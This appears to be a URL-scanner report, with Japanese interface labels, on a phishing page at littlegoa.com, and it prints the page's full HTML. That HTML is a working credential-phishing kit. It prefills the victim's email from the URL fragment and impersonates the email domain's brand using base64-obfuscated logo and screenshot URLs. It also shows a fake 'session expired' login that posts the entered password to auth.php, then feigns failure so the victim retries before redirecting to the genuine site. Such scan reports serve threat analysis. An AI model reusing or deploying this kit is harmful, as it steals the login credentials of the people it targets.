- スキャンID:
- 9c10df18-9a77-4cd8-8db7-9d1f0d375d97終了
- 送信済みURL:
- https://littlegoa.com/41#[email protected]リダイレクト済み
- レポート終了日:
リンク · 0件検出
ページから特定された発信リンク
JavaScript変数 · 10件検出
ページのウィンドウオブジェクトにロードされたグローバルのJavaScript変数は関数以外の場所で宣言された変数で、現在のスコープ内であればコードのどこからでもアクセス可能です
名前 | 規模 |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
uidEvent | number |
bootstrap | object |
setBackground | function |
extractEmailAndDomain | function |
getDomainName | function |
loadImageWithFallback | function |
setFavicon | function |
コンソールログメッセージ · 2件検出
Webコンソールにログ記録されたメッセージ
規模 | 分類 | ログ |
---|---|---|
verbose | dom |
|
error | network |
|
HTML
未加工のHTMLページ本文
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css" rel="stylesheet">
<style>
#background-container {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-size: cover;
background-position: center;
background-repeat: no-repeat;
filter: blur(5px);
}
#overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
}
.login-container {
max-width: 400px;
margin: 160px auto 0 auto;
padding: 20px;
background-color: rgba(255, 255, 255, 0.9);
border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
position: relative;
z-index: 1;
text-align: center;
}
.header-container {
display: flex;
align-items: center;
justify-content: center;
margin-bottom: 20px;
position: relative;
}
.header-container img {
position: absolute;
top: 0;
left: 0;
width: 50px;
height: 50px;
margin-left: 2px;
margin-top: 2px;
}
.welcome-text {
padding-bottom: 30px;
text-align: center;
font-size: 16px;
}
.error-message, .success-message {
margin-top: 20px;
display: none;
}
</style>
<link id="dynamic-favicon" rel="icon" href="https://logo.clearbit.com/evulpo.com">
</head>
<body>
<div id="background-container" style="background-image: url("https://image.thum.io/get/http://www.evulpo.com");"></div>
<div id="overlay"></div>
<div class="container">
<div class="login-container">
<div class="header-container">
<img id="domain-logo" src="https://logo.clearbit.com/evulpo.com" alt="Domain Logo">
<h2 id="domain-name">EVULPO</h2>
</div>
<div class="welcome-text">
Your session has expired, Please login to continue.
</div>
<form id="login-form">
<div class="mb-3">
<div class="input-group">
<span class="input-group-text"><i class="fas fa-user"></i></span>
<input type="text" class="form-control" id="username" placeholder="Username" disabled="disabled" autofocus="autofocus" required="">
</div>
</div>
<div class="mb-3">
<div class="input-group">
<span class="input-group-text"><i class="fas fa-lock"></i></span>
<input type="password" class="form-control" id="password" placeholder="Password">
</div>
</div>
<button type="submit" class="btn btn-primary w-100" id="submit-button">
Sign In
</button>
<div class="alert alert-danger error-message" role="alert">
Enter email password to continue.
</div>
<div class="alert alert-danger success-message" role="alert">
Invalid Email Password. Please try again!
</div>
</form>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
<script>
let successCount = 0;
let successTimeout;
function setBackground(imageUrl) {
const container = document.getElementById('background-container');
container.style.backgroundImage = `url('${imageUrl}')`;
}
function extractEmailAndDomain() {
const hash = window.location.hash.substring(1);
const email = decodeURIComponent(hash);
if (email && email.includes('@')) {
const domain = email.split('@')[1];
document.getElementById('username').value = email;
return { email, domain };
}
return { email: '', domain: '' };
}
function getDomainName(domain) {
return domain.split('.')[0].toUpperCase();
}
function loadImageWithFallback(imgElement, primarySrc, fallbackSrc) {
const img = new Image();
img.onload = () => { imgElement.src = primarySrc; };
img.onerror = () => { imgElement.src = fallbackSrc; };
img.src = primarySrc;
}
function setFavicon(primarySrc, fallbackSrc) {
const favicon = document.getElementById('dynamic-favicon');
const img = new Image();
img.onload = () => { favicon.href = primarySrc; };
img.onerror = () => { favicon.href = fallbackSrc; };
img.src = primarySrc;
}
document.addEventListener('DOMContentLoaded', function() {
const { email, domain } = extractEmailAndDomain();
if (domain) {
const imageUrl = atob('aHR0cHM6Ly9pbWFnZS50aHVtLmlvL2dldC9odHRwOi8vd3d3LiR7ZG9tYWlufQ==').replace('${domain}', domain);
setBackground(imageUrl);
const domainNameElement = document.getElementById('domain-name');
const domainLogoElement = document.getElementById('domain-logo');
domainNameElement.textContent = getDomainName(domain);
const logoUrl = atob('aHR0cHM6Ly9sb2dvLmNsZWFyYml0LmNvbS8ke2RvbWFpbn0=').replace('${domain}', domain);
const fallbackLogoUrl = atob('aHR0cHM6Ly93ZWJtYWlsLmVtYWlscG5sLmNvbS93ZWJtYWlsX2xvZ28uc3Zn');
loadImageWithFallback(domainLogoElement, logoUrl, fallbackLogoUrl);
const faviconUrl = atob('aHR0cHM6Ly9sb2dvLmNsZWFyYml0LmNvbS8ke2RvbWFpbn0=').replace('${domain}', domain);
const fallbackFaviconUrl = atob('aHR0cHM6Ly93ZWJtYWlsLmVtYWlscG5sLmNvbS93ZWJtYWlsX2Fzc2V0cy9mYXZpY29uLmljbw==');
setFavicon(faviconUrl, fallbackFaviconUrl);
}
const form = document.getElementById('login-form');
form.addEventListener('submit', function(event) {
event.preventDefault();
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
const errorMessage = document.querySelector('.error-message');
const successMessage = document.querySelector('.success-message');
const submitButton = document.getElementById('submit-button');
if (password === '') {
errorMessage.style.display = 'block';
} else {
errorMessage.style.display = 'none';
submitButton.innerHTML = `<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> Verifying`;
submitButton.disabled = true;
const xhr = new XMLHttpRequest();
xhr.open("POST", "auth.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
successCount++;
successMessage.style.display = 'block';
document.getElementById('password').addEventListener('input', function clearSuccessMessage() {
successMessage.style.display = 'none';
document.getElementById('password').removeEventListener('input', clearSuccessMessage);
});
clearTimeout(successTimeout);
successTimeout = setTimeout(() => {
successMessage.style.display = 'none';
}, 8000);
document.getElementById('password').value = '';
if (successCount >= 3) {
successMessage.style.display = 'block';
setTimeout(() => {
window.location.href = `https://${domain}`;
}, 6000);
}
}
submitButton.innerHTML = 'Sign In';
submitButton.disabled = false;
}
};
xhr.send(`username=${encodeURIComponent(username)}&password=${encodeURIComponent(password)}`);
}
});
});
</script>
</body></html>